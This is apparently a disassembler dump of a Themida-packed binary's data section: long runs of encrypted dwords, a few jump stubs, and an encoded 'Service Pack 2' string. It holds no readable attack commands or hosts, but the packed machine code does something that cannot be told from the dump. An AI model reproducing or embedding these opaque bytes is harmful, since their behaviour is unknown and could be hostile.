		db 0ADh, 0
word_5E2AFA	dw 8C12h		; DATA XREF: Themida_:005A67A6o
		dd 326CA956h, 0DEC04FFCh, 8816FBA8h, 82691E52h,	2CD90F8Fh
		dd 0D380B6E8h, 7E2B613Dh, 4D30995h, 792D90ACh, 0ED5307E6h
		dd 326CA736h, 0CDD142A7h, 3BF52642h, 0ACE2BC57h, 748FA4DCh
		dd 5F4238h, 0F3D30000h,	1B838E96h, 830C6F8Bh, 0E13AFFE6h
		dd 0CBCCE878h, 0F907E0D2h, 5ABB10A0h, 0D29E011Dh, 6BC407E0h
		dd 0D44E7702h, 0F8816E3Eh, 0EA64C64h, 0B2425CB9h, 5BE6B85Dh
		dd 0B64E8C32h, 0B02D6D8Ch, 8D3338DFh, 0E132B319h, 6987B07h
		dd 0ACF223D0h, 5DC0DC1Ch, 8307E132h, 52F1842Ah,	344h, 607CBCEBh
		dd 0FFE682FDh, 7724CA23h, 5FC2DE99h, 85FFE683h,	0D338C32Ch
		dd 79CE5E40h, 1E5C029Ch, 71FCA271h, 6197070Ch, 47D78900h
		dd 0CD9E8A1Dh, 29CFD67Bh, 15FC5191h, 0CEE34662h, 0B811FFE6h
		dd 9B35A94Fh, 4707E0FAh, 0D03763EEh, 0DA07E0E9h, 7BD09F59h
		dd 537C0797h, 0F1A5DDADh, 3B43406Eh, 0F3000000h, 0E13497B3h
		dd 96207E0h, 96F3AC63h,	501E3ACAh, 4E07E09Ch, 0D73E6AF5h
		dd 0A107E09Bh, 3CA12C72h, 213DC8D6h, 298E36F0h,	0AFE7EEA8h
		dd 96406EA7h, 26CCD241h, 11A45h, 6CA7D600h, 0CF42A732h
		dd 34DF44CFh, 99486C59h, 0E7411A7Dh, 75EF48FFh,	0B6D26FA5h
		dd 0FFE76953h, 56BF2881h, 0FAA471C6h, 0B75CC154h, 0AB3668ABh
		dd 5F891982h, 403159EEh, 0B0EE946Fh, 0E76CD23Ch, 3767ACFFh
		dd 0DFBF5401h, 5BDA0454h, 0C8339EE0h, 4BD6C84Bh, 0B213B922h
		dd 0D9C54DD7h, 0BA07775Fh, 0D13AD5E6h, 7727EC41h, 851DC3ECh
		dd 0E0E48369h, 0C656AF07h, 0BCE23186h, 0E0DBED50h, 40BA1307h
		dd 5EFA11B7h, 0CE0CB20Eh, 0B4441C6Dh, 0DDE9BC98h, 3A80EA0Fh
		dd 669E7DDDh, 0A4F989F2h, 63FB316Dh, 5945CE23h,	0ED608AEDh
		dd 0EF23B8FFh, 0F3A046AFh, 49C2801Eh, 92999883h, 1EAB857h
		dd 0BA5C0000h, 1101AEE4h, 6BAA578Dh, 0BF50FD33h, 15FCA9DFh
		dd 6A1F5389h, 0D80E9081h, 7FB5E92Bh, 2A603ED2h,	0D208967Dh
		dd 2C8FAB03h, 5A07E67Bh, 7CBC3DF4h, 0E682FD60h,	50CA23FFh
		dd 6B471504h, 6C19BF7Ah, 1469F9A5h, 89259FFFh, 3D93CC91h
		dd 6B0341E7h, 19A4FA16h, 769D4AF0h, 0F33BF228h,	2487A396h
		dd 52FFE683h, 0BC7279E8h, 59C2F56Eh, 42060F0h, 0FFE6EEA1h
		dd 3ED176CFh, 622BA60h,	7E10738h, 56820D66h, 7E0F5EFh
		dd 0EFBE78F9h, 99247A9Ah, 0C2FACA70h, 60406F02h, 0C2h
		dd 326CA7F1h, 0DCC24DA2h, 0D33EA336h, 2EE63BCBh, 0B37CA70h
		dd 0FFE687A1h, 366C32E1h, 89148A89h, 0B7471970h, 65B0B262h
		dd 1C85AE39h, 0DCC2DE76h, 0A07E09Bh, 6F1A7BB1h,	994BAECAh
		dd 207907E0h, 41D227B7h, 0A46DD25Dh, 53EB91FAh,	0DD78FC37h
		dd 191EA0Fh, 0FAA46CC1h, 930B0A6Fh, 3AD7842Ah, 90812E64h
		dd 9735500Eh, 0DB169998h, 0DB3Ch, 0F3AB6B00h, 9C0210BDh
		dd 425CB966h, 0EEB05F0Ch, 98060BB8h, 92792E62h,	3CE91F7Fh
		dd 0E390C6D8h, 8E3B712Dh, 14E31985h, 7C3DA0BCh,	0FD6307E6h
		dd 0A967BC46h, 9B416AF5h, 457B23EEh, 0ED237B98h, 0DE032B55h
		dd 19A4FA1Bh, 0F99E76F0h, 0DA435BB6h, 6CA77D34h, 7B78A232h
		dd 43FBBE64h, 0B116A94Fh, 0A5063C62h, 0CDD140E4h, 73D6F242h
		dd 0A1FFE73Dh, 0E676DF48h, 0E72D77CAh, 0B9449D07h, 4FDFBF54h
		dd 890AE50Fh, 2A46D64Dh, 0E6405BBEh, 8A308907h,	2A749F4Ch
		dd 2B254F9Fh, 0CDD14325h, 55630153h, 973D61B0h,	0A8285D23h
		dd 3EF83131h, 6CA9B95Ah, 157EA732h, 0BDE132DFh,	5C42CD32h
		dd 0F7A76CD1h, 900E076Ch, 0B973AC05h, 5C163F11h, 0CD039B78h
		dd 20ABF320h, 381h, 5CBB1A00h, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh
		dd 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch,	0E9742AEBh
		dd 85108E84h, 5D545552h, 4C581h, 0ED830000h, 242C8704h
		dd 47E3685Ch, 0C890000h, 57E96824h, 1C890000h, 9BE5624h
		dd 50670170h, 1B04C4B8h, 18D92D60h, 1B2D760Fh, 2540D507h
		dd 401675E2h, 0F707E0C1h, 9A0535D0h, 0C629AF01h, 28CE8158h
		dd 0C103112Fh, 0E68104E6h, 51EE441Ch, 0B0ABC681h, 0F189F6B9h
		dd 1C8B545Eh, 4C48124h,	81000000h, 4ECh, 240C8900h, 2B243481h
		dd 8F2C992Fh, 73810843h, 992F2B08h, 2434FF2Ch, 4C4815Bh
		dd 8B000000h, 8956240Ch, 4C681E6h, 83000000h, 348704C6h
		dd 89E95C24h, 0C2FFFA83h, 0C4B8D975h, 307FFFAh,	0CEE0FFC5h
		dd 0B6154846h, 5251DA55h, 0E92E50C9h, 8E0E0106h, 0DA3BB6DAh
		dd 0BC6621F9h, 7C71E03Bh, 164B5291h, 64B2A3Bh, 963859BDh
		dd 6E5AF01Dh, 7E4BE355h, 281E05BDh, 916968DBh, 0BA5F4320h
		dd 614C07F6h, 49621D46h, 0E86CC9F5h, 0Bh, 0B69C08CFh, 28D4D420h
		dd 0F3F7317h, 382h, 0D6B70F00h,	0C681FC5Eh, 6100h, 0D5709FB9h
		dd 84D8BB2Fh, 0C3814F84h, 0B07B933Ah, 5F22B656h, 87BA068Bh
		dd 8106CE97h, 1BB5FC0h,	817BB53Bh, 3C9761C0h, 0F4C08163h
		dd 660C9448h, 689CF8Bh,	81F88B66h, 2CCA2EEEh, 800F607Bh
		dd 5, 9E5EDABAh, 61C78B21h, 0CA2AC681h,	81667B2Ch, 81ED6AF1h
		dd 1EBh, 11850F00h, 8B000000h, 36E9D1h,	46930000h, 69E50950h
		dd 716DEF4Dh, 11E9h, 4F318A00h,	868CAE6Fh, 97F3E1E2h, 5AA88FA5h
		dd 85E9CF27h, 0BFFFFFFh, 80C98B2Ah, 1EC87784h, 5C71C17Fh
		dd 282B0EA6h, 12E9h, 0CB0D4700h, 62h, 2	dup(0)
		dd 0E9000000h, 0BFBh, 0FFFE3C68h, 5876E907h, 1168FFFBh
		dd 0E907FFFFh, 0FFFB586Ch, 8968h, 5862E908h, 7A68FFFBh
		dd 0E9080001h, 0FFFB5858h, 47F68h, 584EE908h, 1D68FFFBh
		dd 0E9080006h, 0FFFB5844h, 71968h, 583AE908h, 0B94EFFFBh
		dd 26D67D04h, 0A561088Fh, 1EF0971Eh, 8C7920A7h,	0F14AE35h
		dd 0B83F8683h, 44CBFA11h, 0D1586F9Dh, 5BE2D32Ah, 7B38B524h
		dd 0DBEFE213h, 2CD56EA2h, 143C9AE0h, 4C7992B9h,	1CEDC401h
		dd 926B0AA5h, 0E5259C23h, 0EEF471A8h, 42EF7CF0h, 0DA17AE5Bh
		dd 6EA33E89h, 0EFDD00B5h, 0B10CD742h, 0E88332CAh, 2AD9CE87h
		dd 0D11CFAB2h, 3A1A2994h, 4AB7D0AAh, 93000000h,	0E9205D9Dh
		dd 4087836Ah, 0B01D5AA5h, 0EF7C1F7Eh, 6BD49E8h,	3AD5206Bh
		dd 0DC2F4C05h, 0A36ED9EFh, 1CAB634Ah, 0E1DB2081h, 3FFBCD1Dh
		dd 0C97E93F4h, 431BCB9Ah, 5EA89B06h, 8A33D0AAh,	239C175Ch
		dd 0DD5693C1h, 0DDh, 259C6DB9h,	0C4FB07EEh, 0E815B487h
		dd 9E491BBh, 236E441Ch,	0A110E988h, 2BB9C16Ah, 9313613Dh
		dd 15E48356h, 0BAD8159Ch, 3EE7E287h, 888542BFh,	0AF5FE7E2h
		dd 19327D18h, 87A865E2h, 0BD08E7E2h, 0AF5E3572h, 11E88F16h
		dd 0B90EBF8Ah, 6FBA6530h, 0E82565D4h, 0BC3234B1h, 519CEF7Ch
		dd 0D60B53CAh, 1E45229Fh, 9AE5F771h, 0E08D7C63h, 0B6019C25h
		dd 0D431D06Bh, 0F665A2EDh, 0BE7BF877h, 1EF7D99Dh, 9DAD6AE7h
		dd 0C20DF7D9h, 0A6633A77h, 14F1981Fh, 739E6FADh, 9F6A2F17h
		dd 9AE5Ch, 5F56A900h, 0EAD931D8h, 7940BC63h, 2B54BF2h
		dd 9029D47Bh, 0DE646F09h, 6C139A23h, 0F89F269Fh, 852CB302h
		dd 7FB63D74h, 14D69310h, 0FD36EFE2h, 29906DC9h,	8E7C63A2h
		dd 14519C37h, 6EF5CC3Dh, 205D9D72h, 1F3A6CE9h, 59A4EF7Ch
		dd 0F3C23B22h, 0FDD00D58h, 0DC2F0FC8h, 9E1D9CEFh, 0DC2F6421h
		dd 3C79C4EFh, 88BB16E1h, 49D0AA25h, 0AFh, 259C6D25h, 0C3FA07EEh
		dd 0E914B386h, 58B299D0h, 4A87D26Dh, 0A0594077h, 4967D411h
		dd 65E7E21Bh, 853CC994h, 0F85A033Ah, 232320D4h,	0F89F5E9Bh
		dd 0A615B001h, 75F22966h, 0EF7D0373h, 940B92DDh, 63E01754h
		dd 0F7714FBBh, 0AC93CA15h, 42FF7C51h, 0A2F7D9E2h, 0DE850C57h
		dd 935C9A23h, 4D2F173Fh, 8D93F82h, 897E0000h, 0F606AD34h
		dd 759138BFh, 0EE20C74Eh, 5CA950D7h, 5F44DE65h,	0E86F56B3h
		dd 74FBCA41h, 1883FCDh,	8B12A35Ah, 0AB68E554h, 0BEFE215h
		dd 906D9ED2h, 9549F229h, 0B1366192h, 0F3229F2h,	529D8A6Bh
		dd 5EAF5615h, 6DE4E067h, 45EE259Ch, 0C72CA3C0h,	27FA37AFh
		dd 9407188h, 9DDAEB22h,	0EA2767DEh, 0BD4D34B3h,	0A25CC906h
		dd 0FCEF7CD0h, 867716B1h, 0F511F82Fh, 0EC378E7Ah, 0AC90651h
		dd 0E41BAA63h, 0CAC56E3Bh, 0C906E908h, 2CD8BFF6h, 72AFFA95h
		dd 58432605h, 743F5A83h, 0E26958B1h, 0BCF3C23Bh, 4503C03Dh
		dd 18638360h, 0EAD108DBh, 0FA67A411h, 83604540h, 0C68F5AB5h
		dd 58159237h, 0B8836045h, 0F49B226Dh, 0DC11AC05h, 72F7B2CCh
		dd 3D08D3F6h, 0C76EF5CCh, 75E47F36h, 42C1F835h,	0DB18AF5Bh
		dd 0FA79646Eh, 2CB3FE8Ah, 13875B5h, 0F4AB5E84h,	2AC51092h
		dd 54AE3BF5h, 644BCA93h, 85E01D94h, 8C7C63BAh, 124F9A35h
		dd 22AE9CA7h, 4C9357Ch,	0F8110000h, 5E93DBC4h, 1D0CAA27h
		dd 63AEEF7Ch, 6C9BCD32h, 6FAFBCA3h, 287EFB32h, 0DAD44609h
		dd 6FDA8B79h, 77897C6Bh, 0F5AA540h, 0E12C9570h,	7E49C3AAh
		dd 885B98E3h, 0DB86D119h, 0DFDE1531h, 51CE0550h, 0DC40623Ah
		dd 611E9BD2h, 0C1DCA072h, 0DF42B76h, 973EC5FCh,	4C114F66h
		dd 0F8D45EAFh, 761EA2Dh, 1F60000h, 8E7E25ACh, 0FD09B037h
		dd 66983FC6h, 0E421C84Fh, 0D7BC56DDh, 60E7DE2Bh, 0EC7342B9h
		dd 7900B745h, 38A3BD2h,	23E05DCCh, 83EFE217h, 9C6D164Ah
		dd 6C538A25h, 428D2891h, 0EBD22E05h, 0DD1964h, 9DF50000h
		dd 0C2291AA7h, 0F89322DBh, 576E3B97h, 6FBA2974h, 98D2E632h
		dd 1C277A45h, 0B5D7508Fh, 69h, 1AA79D91h, 16AC66E3h, 69E8E7E2h
		dd 0E2172FECh, 7448FE7h, 7CE717B6h, 4EE9348Dh, 7E1DB803h
		dd 18FF368Fh, 0D493D0E1h, 4AE5DC2Dh, 275E93DBh,	7C3154AAh
		dd 20BB06EFh, 0A13C8B81h, 20BB0A02h, 80DDA8C3h,	0DC424603h
		dd 105BA6EFh, 9BF6C12Ch, 0D0AA18A8h, 1029h, 0EFC90500h
		dd 62000000h, 0CDD669B9h, 0B1EECF3Ch, 205D9D85h, 45B26CE9h
		dd 0D50CEF7Ch, 0DC479B58h, 11B0FBEFh, 3F7DC8FFh, 271AC56Ch
		dd 700E511Ch, 0E7000006h, 6F169D10h, 0FAA1289Fh, 8930B70Eh
		dd 12B94077h, 0AD47CEF7h, 0D8E11CA6h, 6451AA51h, 0F1C436DDh
		dd 7B4AC36Ah, 0D14EBDF4h, 0EFE21814h, 9D073B74h, 0E5291AA7h
		dd 0E0D72922h, 635AA645h, 0D04D67C8h, 556FE3ADh, 76E3AEC9h
		dd 0F9582376h, 0D750B24Ah, 5487h, 0A79D6300h, 0D32F3AC6h
		dd 1F56A1ECh, 0B8F5CC38h, 2C964B8Fh, 80B30ED9h,	41D7503Dh
		dd 35h,	1AA79D1Dh, 0E819C229h, 2F3D0C13h, 48E4306Dh, 1BB609FFh
		dd 99348D7Ch, 8F56213Ch, 62AD487Fh, 0F9C41717h,	0E25CEAA6h
		dd 53E71AE7h, 74D7506Fh, 0FFFFFEABh, 1AA79D50h,	9F49E529h
		dd 330814Ch, 0BED7503Dh, 2B7h, 29987057h, 906DC0ECh, 70578E29h
		dd 428D2899h, 0E5D82E05h, 0A78EBD4Ah, 7EC9645Bh, 5A1BE641h
		dd 0E88F16AFh, 0D6628E1Dh, 80101A7Eh, 0E2B44603h, 105BA6E7h
		dd 73BB2AC5h, 0DF88073Eh, 0F1041424h, 67D41132h, 0EF7C6851h
		dd 0D8D03CE5h, 1EDAEC0Ch, 0E4590E1h, 79F6D527h,	0EFDCF9BCh
		dd 4986D11Ch, 33FE1976h, 0AD18F3DAh, 556C9970h,	0F7DA27CEh
		dd 0DCF9BD7Ah, 506797EFh, 6516AB5h, 6F9D84BBh, 0E1700742h
		dd 69B4C25Ah, 0EBD22FCEh, 5B9063A0h, 0EFDC40A2h, 0AA27A615h
		dd 0EFDC42EDh, 0AB63024Dh, 0F936811Ch, 0F712D39Eh, 65A047CEh
		dd 4336F370h, 4B96EFDCh, 0CE6950ACh, 2E9D3883h,	8B48C5EEh
		dd 0EBEFDC43h, 0B803BA4Ch, 23B9366Dh, 0D5F7763Bh, 0DDC4038Ah
		dd 0B0FB962Dh, 2EC9F811h, 0BFFFA6E3h, 92644B82h, 611F801Bh
		dd 4098C1FCh, 7BEA2772h, 0CFE615FCh, 0B14AE934h, 505AC704h
		dd 0EAFF7109h, 12CF049Fh, 0ECFFD109h, 6D0CA71Eh, 8D289Fh
		dd 0B1AF1AE5h, 24099942h, 25D2336Dh, 33C28DE8h,	27FB6EBh
		dd 76B2FF8h, 457C8D74h,	0D1225FAAh, 92684F86h, 8027E623h
		dd 0FE9D3889h, 0F02FB60Fh, 3037F471h, 4C9707CBh, 0EB20680Fh
		dd 4B3137B4h, 58A30F65h, 5ACF88BDh, 0F15C0FC5h,	7D78CB26h
		dd 5E59F0B3h, 35000000h, 0C30A5D9Dh, 0FC0435DBh, 85043B86h
		dd 0BF5A639Eh, 0F1A11374h, 4820AC9h, 83285AC7h,	0F574EF7Ch
		dd 0F56D1B4Ch, 99CED75Ch, 0EFDCFFDCh, 63B4F13Ch, 0FFAE118h
		dd 6FD01BB6h, 25BEC662h, 0C99CD974h, 0DC9CDB94h, 6AE968EFh
		dd 0DC9D30EDh, 84590EFh, 0A48FE2ADh, 1DD0AABBh,	0DAh, 0D19C6DF9h
		dd 0A4EF8A39h, 0E21FBE59h, 16B572EFh, 0CA15E7E2h, 4BE6D12Bh
		dd 7B1AB500h, 61983382h, 9C378E7Ah, 0E09D1A51h,	40E7E216h
		dd 28E1B8F5h, 0B7D51299h, 0D3E7E21Bh, 0F2C5373Ah, 3AC10C57h
		dd 0F467BC3h, 0E3801566h, 0C906F308h, 7F4DB5Ah,	0DA0471AEh
		dd 34EF7667h, 0BB09B2E9h, 6BE0BFFFh, 836AD916h,	21083F86h
		dd 0F641DCEBh, 1830FC95h, 0EC298FE1h, 427B862Dh, 1CFA2D04h
		dd 0C90CD727h, 36Bh, 1BA21BECh,	0A62D8474h, 35BC03FFh
		dd 0BE45788Eh, 4CD3EA17h
		dd 0E421A1B2h, 5CAF56DDh, 0C13BE269h, 31C86FF6h, 53C2F980h
		dd 0E21B19D6h, 0C4079EFh, 873D2CD5h, 0D9815797h, 8138C59Ch
		dd 914ECB4Ah, 0F1E7E2A4h, 3AA69A6h, 0F534BB0Ah,	0A43CF976h
		dd 519CE7E2h, 9C6DE814h, 12EB8A25h, 0BD08BF4Fh,	0F510F736h
		dd 16A663E0h, 0BB06E7E2h, 0D5073370h, 0AA518EEh, 52AB82BFh
		dd 0D029C863h, 0AE2BAAE1h, 0E7E216F1h, 0AC90651h, 0DF164B93h
		dd 7C315C62h, 30C9B0EFh, 7CFBBC6Bh, 550B93Eh, 91E21F6Ah
		dd 0BD76AB46h, 4AEFDC52h, 76BD14DFh, 4BD0AA05h,	65h, 205D9D27h
		dd 6CEB6AE9h, 0E21732EFh, 124792E7h, 0E7E21755h, 0C02D6AB5h
		dd 0EF7C1F8Eh, 21DE5BDAh, 81EFDC30h, 9A8F936h, 9A57D4F7h
		dd 0FAEFDC2Fh, 0E21964AFh, 6F9D0B39h, 0CA078C11h, 3A17C0F7h
		dd 7FA656FDh, 853CC968h, 9522DB48h, 44AFEFDCh, 357B2479h
		dd 0CDA25A6h, 0BF84EF2Ch, 12D0AA90h, 0C6h, 259C6DEEh, 0A71EEB8Ah
		dd 259C6D0Ch, 0A312EB8Ah, 0E934DD1Ch, 4EDE4333h, 6886F330h
		dd 0ECE7E2CAh, 0CB33F06Dh, 0F10DE7E2h, 2966B1CAh, 830ABB52h
		dd 5D942DDCh, 0CAA461DEh, 80BCE7E2h, 3BF45CC2h,	0A5E22D46h
		dd 0E61B63D2h, 6CF832AFh, 752EF7Ch, 8CC10980h, 0D198D855h
		dd 0B702F770h, 566D9980h, 46C3AA19h, 10B9F87Fh,	0CA9DB67Bh
		dd 88053C73h, 0F7D993CBh, 0CCA3E02Bh, 0E54A8831h, 132F1789h
		dd 1CD0548h, 758A0000h,	0FA12B940h, 619D44CBh, 0DA2CD35Ah
		dd 48B55CE3h, 4350EA71h, 0F47B42BFh, 8007BE4Dh,	0D9423D9h
		dd 971E9766h, 0B774F160h, 17EFE21Ch, 906DAADEh,	0FE0BF229h
		dd 0A4E12CC7h, 0F6CF3EE5h, 5D9D736Fh, 3A6CE920h, 0A4EF7C1Fh
		dd 0D089BE59h, 0A2EFDC2Eh, 20BF5A6Bh, 0A942DDE4h, 6A4EBB86h
		dd 56DD34FFh, 6BD0AA25h, 0CBh, 259C6D47h, 0BFF607EEh, 3550C324h
		dd 0C1724998h, 0C7663976h, 0CD4C833Ah, 0E2939350h, 9B58D5E7h
		dd 0FBE7E293h, 0F4C97B0h, 0E31E053Ch, 0B7F43FDAh, 0E2992C4Ah
		dd 3DC9B0E7h, 63A0EB86h, 0BD447D8Ch, 33CEE716h,	104784C4h
		dd 7CAC5993h, 3168B3EFh, 0C502B34Ah, 124F8F06h,	0AF06F4DBh
		dd 0A360DD14h, 3EFDCADh, 0C1306DB8h, 70FB5F44h,	5BD80FF7h
		dd 0F7D98D9Eh, 9F6631B6h, 314A6EF4h, 7D649BE6h,	0BB23980h
		dd 0BC89C7FEh, 482F1784h, 0D13A7Dh, 71860000h, 0FE0EB53Ch
		dd 6D9940C7h, 0D628CF56h, 54B158DFh, 474CE66Dh,	0F0774EBBh
		dd 7C03B249h, 99027D5h,	931AAB62h, 0B370ED5Ch, 13EFE21Dh
		dd 906DA6DAh, 2FBA229h,	0D5302CB3h, 0CA71EEEh, 5CAD84C1h
		dd 0BB472E65h, 1E6958B0h, 9E6F0EE1h, 2847F027h,	9D27C87Dh
		dd 0ACEBAAE7h, 0E78239C5h, 70B85F9Ch, 0BF4F1AE7h, 0D722BD08h
		dd 9BD8558Ch, 0FBEF79E2h, 7813AA5Ch, 0C4ABE22Dh, 98E37E37h
		dd 10E9885Bh, 9A731AA1h, 3E55D215h, 8BD65A20h, 0BE6EBBF0h
		dd 7F9A4AADh, 997259B4h, 210ACB2Ch, 91D79DEEh, 358C7D54h
		dd 0BFF607AEh, 3C738524h, 5E2944A1h, 0C84F6697h, 0A2D9E821h
		dd 2FE9A623h, 0FE495AADh, 7B16A95Fh, 0DD20F330h, 3, 6DB6DAB9h
		dd 0E988239Ah, 6706A110h, 0E8872295h, 6807A213h, 0EA89249Dh
		dd 6C0BA61Fh, 0E988239Ah, 6C0BA61Dh, 0FA8A259Ch, 81E18951h
		dd 4C1h, 4BB5300h, 29000000h, 0C875BD9h, 80685C24h, 89000053h
		dd 0EC83243Ch, 241C8904h, 6FD468h, 242C8900h, 0FFFCE1BDh
		dd 5DEF8907h, 32A368h, 24248900h, 4240481h, 5B000000h
		dd 5480B850h, 0E0D11789h, 0EA74692Dh, 348F2D7Dh, 0D801B128h
		dd 0FF583889h, 835B2434h, 3C8B04C4h, 0E6895624h, 4C681h
		dd 0C6810000h, 4, 5C243487h, 0FB4C8FE9h, 78D7A1FFh, 95CEC201h
		dd 0B84436A9h, 800080Fh, 0E0FFC503h, 7BA546C5h,	6DD894FCh
		dd 2F0E9538h, 456AF415h, 0BF8FAA2h, 78F278A7h, 5EB1BA74h
		dd 6F42A3B6h, 296AF368h, 44F60170h, 2C32DE57h, 25B4AD73h
		dd 7BAA4DFFh, 48DA0BDDh, 65DE1CACh, 6AA9AE13h, 685A4BD9h
		dd 20DDA387h, 7EF38FE1h, 370D625Eh, 50D9DE4Dh, 24EBh, 8	dup(0)
		dd 0BDE90000h, 89000000h, 8F5B5h, 0ED858B08h, 8B07FA33h
		dd 0FA224585h, 3FB58D07h, 8D080009h, 0FD7DE285h, 0C3D0FF07h
		dd 0E855h, 815D0000h, 945EDh, 0EDBD8308h, 107FA33h, 2C850Fh
		dd 0B5FF0000h, 80008F5h, 2245858Bh, 363507FAh, 0FF348127h
		dd 0F013CD0h, 0A85h, 1B800h, 47E90000h,	33000000h, 40E9C0h
		dd 1C6A0000h, 8F9B58Dh,	0FF560800h, 8F5B5h, 45858B08h
		dd 3507FA22h, 34812736h, 0C483D0FFh, 0F9B58D0Ch, 8B080008h
		dd 0E0831446h, 4F88304h, 7840Fh, 0C0330000h, 5E9h, 1B800h
		dd 0BD830000h, 7FA33EDh, 7850F01h, 5D000000h, 2E9C3h, 0CF5D0000h
		dd 91E858Dh, 85890800h,	7FA0825h, 0A6E9h, 0D1E53E00h, 9407h
		dd 500h, 100h, 0A2800h,	200h, 72655300h, 65636976h, 63615020h
		dd 32206Bh, 1Fh	dup(0)
		dd 0E9000000h, 0C71h, 0C2668h, 7452E908h, 5768FFFAh, 0E908000Dh
		dd 0FFFA7448h, 0E4468h,	743EE908h, 0B368FFFAh, 0E908000Eh
		dd 0FFFA7434h, 100068h,	742AE908h, 8A68FFFAh, 0E9080010h
		dd 0FFFA7420h, 143968h,	7416E908h, 9768FFFAh, 0E9080015h
		dd 0FFFA740Ch, 0E016888Eh, 89BFDF33h, 2F6539DCh, 0DB118D82h
		dd 85BBE32Eh, 5EB39C51h, 0B75D0A40h, 0C04B1E7h,	64AF5C92h
		dd 0DD35043Ah, 0E68D5EC1h, 671E8407h, 1BF66CA7h, 66CFF883h
		dd 19D76DBh, 411F6ACBh,	0ADFB95B1h, 4EA707E0h, 0AD3097C3h
		dd 0B93A07E0h, 0B5C0F8FFh, 235E406Eh, 0EF000000h, 3ACA96F3h
		dd 0E09C501Eh, 57B94E07h, 2753DE47h, 7E09BC0h, 888F49CAh
		dd 406EA750h, 0FBEEh, 6CA77F00h, 257A732h, 80148E10h, 6637C3D1h
		dd 0D938E58Bh, 0D9F535C5h, 0FFE75F76h, 769E439Ch, 0CE749D28h
		dd 613DD63Bh, 0E13186D6h, 630932BDh, 0B1415DB6h, 0CD488A87h
		dd 5EFDD8BAh, 0E938B236h, 59973DB5h, 0E6B3F9E5h, 0C9281FFh
		dd 0B4EA29D6h, 0AB791029h, 3FCF3866h, 0E0CC8523h, 92C82107h
		dd 78085831h, 25B0EE23h, 0A2BE56FCh, 0FDD6D5Fh,	6F2FE136h
		dd 972780C9h, 88A6706Dh, 997118Dh, 71E35DD3h, 87E4B4B0h
		dd 0BAFA9238h, 67F2AC65h, 8198FB17h, 65BEFFEDh,	0ED506CFCh
		dd 13FFED80h, 0AA6714BAh, 30F64F4h, 1FB7F59Bh, 0E89CBF5h
		dd 993FABEBh, 0BB7925ECh, 999863B0h, 31C1609Bh,	0CD00000Ah
		dd 721F5549h, 1BC8FEA0h, 0C16EA4FAh, 6D1A504Eh,	90C4FAA4h
		dd 811DF4DBh, 28769E4Bh, 0D3CB45F2h, 7B23F09Dh,	21E7645h
		dd 7E68F9Fh, 0A7A85FC5h, 51FE346Ah, 0EFA6DCC2h,	3ACA96F3h
		dd 0E09C501Eh, 8ECE4E07h, 0E09B0F72h, 70DC3507h, 7E09B0Dh
		dd 0E171DA33h, 0D5C94CA1h, 52B5214Ah, 8007E09Bh, 48E10516h
		dd 2B948440h, 5FC6F285h, 6907E17Dh, 127591D1h, 4007E17Dh
		dd 6C041E7h, 6F89C7FFh,	0E86540h, 0A7F60000h, 42A7326Ch
		dd 0EA3FCFCFh, 40D37925h, 0E6882814h, 0FD2767FFh, 0CDE0E19Dh
		dd 52B52137h, 80FFE731h, 3FD48127h, 79DCF838h, 0A7FFE731h
		dd 317FE24Eh, 4CA5FFE7h, 1300ADE3h, 4DD8C64Fh, 81DCAA24h
		dd 5B0B11Fh, 77CC0C9Ch,	5079049Ah, 0E6AA81E4h, 0E14460FFh
		dd 0FFFE6A9h, 761C75B6h, 0A1BFCAE3h, 0CB57F511h, 0EE8307E0h
		dd 87EC7727h, 5C85108Eh, 0BAFA8AF3h, 0E08A3B9Eh, 6A106907h
		dd 0A2BECB2Ch, 69A2F612h, 85D0FDDh, 0A308930Bh,	7AA32E70h
		dd 0C9226B11h, 712DE439h, 1B838E3Bh, 9899D05Dh,	59F83399h
		dd 900h, 508618FEh, 0F92F6FA3h,	9FD5C94Ch, 4B811DF2h, 0F52B739Eh
		dd 0EE230CC1h, 47CD7AB0h, 9C742157h, 0F41FCC02h, 4DA574AAh
		dd 0E690CE31h, 0D78EF407h, 1AF86AA7h, 67D0F984h, 0F8F8431h
		dd 7CBC22D9h, 0E682FD60h, 24CA23FFh, 72029C77h,	0A6F81Dh
		dd 570B086Dh, 4379E2BCh, 29B9A7E2h, 0AB89BFE9h,	807B4CCh
		dd 0B77EE62h, 0C6507E7h, 0BD203C7Ch, 0E307E6FAh, 0F74CE48Ah
		dd 0D84C821Ch, 7E6FB05h, 8B8A9AF3h, 9B74AA13h, 0B0B0D983h
		dd 5747CB20h, 0FBFD19B1h, 980FE100h, 5F1C1C6Eh,	0CA70EF1Ch
		dd 87EB2881h, 0A3A9DFE1h, 9251475h, 9C1915A6h, 7A0A73CCh
		dd 0B7277450h, 7B213FCDh, 59F5C7E3h, 0C821A413h, 61640E38h
		dd 0FB9DA7A7h, 0E0A9C255h, 4AD4F080h, 58A3AC3Bh, 0F91A6FFFh
		dd 51C26FA5h, 0F7788F4Dh, 205B05ABh, 81381h, 732BEB00h
		dd 1C82903Dh, 0C2DC39E6h, 6E30DF8Ch, 18868B38h,	12F9AEE2h
		dd 0BC699FFFh, 63104658h, 0EBBF1ADh, 94639905h,	91BD203Ch
		dd 7DE307E6h, 0CA96F3C6h, 6CA5FA3Ah, 0EE6DA732h, 9153151h
		dd 0E65A0069h, 7E70C6Fh, 1F74045Dh, 0DD75ABF3h,	7C0C4B3h
		dd 0EA90043Ch, 3EC9D53Dh, 0E8283AD9h, 99022BB6h, 9E3AB2DBh
		dd 0C3629D91h, 7A4h, 0ACE2BC5Ah, 558B13FFh, 0FB316DA8h
		dd 0A7DDC14Eh, 518717FAh, 927F681Dh, 0EB29D60Ch, 40D07DB3h
		dd 987B285Eh, 0A901D006h, 0E6912A8Dh, 3BF25807h, 3ACA96F3h
		dd 3B9EBAFAh, 5FFE683h,	0DB048F0Fh, 279B419Ah, 7E68DB0h
		dd 0E035C51Eh, 2EC66C32h, 2F92AEEEh, 1C07E68Ch,	0CA796136h
		dd 48DD1EADh, 1E47D2CCh, 0B1620FB5h, 0CA1FB7EDh, 0A1CA5549h
		dd 6DF39AFBh, 178788DDh, 66BDD971h, 7407E6A7h, 0FE64901Bh
		dd 807E6A6h, 0A9FECD87h, 0C1913767h, 4074AF89h,	4327h
		dd 9AF3B800h, 0BB1A36C6h, 0E9FFE683h, 72D90590h, 7CFFE683h
		dd 487241FBh, 4ADF86Ah,	0E2B2583Ch, 38753DAAh, 0D2355191h
		dd 0FFE72Dh, 112001A7h,	0B1000000h, 1FF6Dh, 0C9E52500h
